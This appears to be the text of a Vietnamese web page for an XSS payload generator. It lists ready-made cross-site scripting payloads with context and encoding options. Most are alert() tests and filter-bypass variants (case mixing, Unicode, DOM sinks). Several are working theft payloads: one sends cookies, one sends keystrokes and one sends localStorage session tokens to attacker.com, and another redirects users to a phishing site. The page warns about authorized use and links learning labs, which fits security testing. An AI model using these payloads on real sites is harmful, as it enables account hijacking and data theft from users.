Tạo Payload XSS
Công cụ tạo và kiểm tra payload XSS với hỗ trợ tiếng Việt. Chỉ sử dụng cho mục đích giáo dục và kiểm tra bảo mật hợp pháp.
⚠️ Cảnh báo quan trọng
XSS payload có thể gây hại nghiêm trọng. Chỉ sử dụng trên website của bạn hoặc trong môi trường test được ủy quyền.
Context
Nội dung HTML thông thường
Thuộc tính HTML tag
Bên trong script tag
Bên trong style tag
Parameter trong URL
Context JavaScript
Encoding
Payload gốc không thay đổi
Mã hóa URL (%20, %3C, %3E)
HTML entities (<, >, ")
Unicode escape sequences
Base64 encoding
Hexadecimal encoding
Custom Payload
Chọn Payloads (0 đã chọn)
Alert cơ bản
mediumPayload XSS cơ bản với alert box
<script>alert('XSS')</script>Alert với tiếng Việt
mediumXSS payload hiển thị text tiếng Việt
<script>alert('Chào mừng bạn đến với XSS')</script>Cookie theft
highPayload để đánh cắp cookie của user
<script>document.location='http://attacker.com/cookie.php?c='+document.cookie</script>OnLoad event
mediumXSS qua event onload của body tag
<body onload='alert("XSS")'></body>OnError với image
mediumXSS qua event onerror của img tag
<img src='x' onerror='alert("XSS")'/>OnMouseOver event
lowXSS khi user hover chuột
<div onmouseover='alert("XSS")'>Hover me</div>Uppercase bypass
mediumBypass filter bằng cách dùng chữ hoa
<SCRIPT>alert('XSS')</SCRIPT>Mixed case bypass
mediumBypass filter với mixed case
<ScRiPt>alert('XSS')</ScRiPt>Unicode bypass
mediumBypass filter sử dụng Unicode encoding
<script>alert(String.fromCharCode(88,83,83))</script>HTML entity bypass
mediumBypass filter với HTML entities
<script>alert('XSS')</script>Tấn công qua tìm kiếm
highXSS qua form tìm kiếm với từ khóa Việt
'"><script>alert('Tìm kiếm không an toàn')</script>Comment injection Việt
highXSS qua form comment với nội dung tiếng Việt
<script>alert('Bình luận độc hại')</script>Unicode Việt bypass
mediumBypass filter với ký tự Unicode Việt
<script>alert('Xin chào: ' + document.domain)</script>Location hash XSS
highDOM XSS qua location.hash
#<script>alert('DOM XSS')</script>Document.write XSS
highDOM XSS qua document.write
<script>document.write('<script>alert("XSS")</script>')</script>innerHTML XSS
highDOM XSS qua innerHTML property
<img src='x' onerror='this.innerHTML="<script>alert(\"XSS\")</script>"'/>Keylogger injection
highInject keylogger để thu thập dữ liệu
<script>document.addEventListener('keypress',function(e){fetch('http://attacker.com/log?key='+e.key)})</script>Session hijacking
highĐánh cắp session token
<script>fetch('http://attacker.com/steal?token='+localStorage.getItem('token'))</script>Phishing redirect
highChuyển hướng user tới trang phishing
<script>if(confirm('Phiên làm việc hết hạn. Đăng nhập lại?'))location='http://fake-site.com'</script>📖 Tài liệu học thêm về XSS
Tài liệu chính thức:
- • OWASP XSS Prevention Cheat Sheet
- • MDN Web Security Guidelines
- • W3C Content Security Policy
- • SANS XSS Prevention Guide
Practice Labs:
- • DVWA (Damn Vulnerable Web App)
- • XSS Hunter (xsshunter.com)
- • PortSwigger Web Security Academy
- • HackTheBox XSS Challenges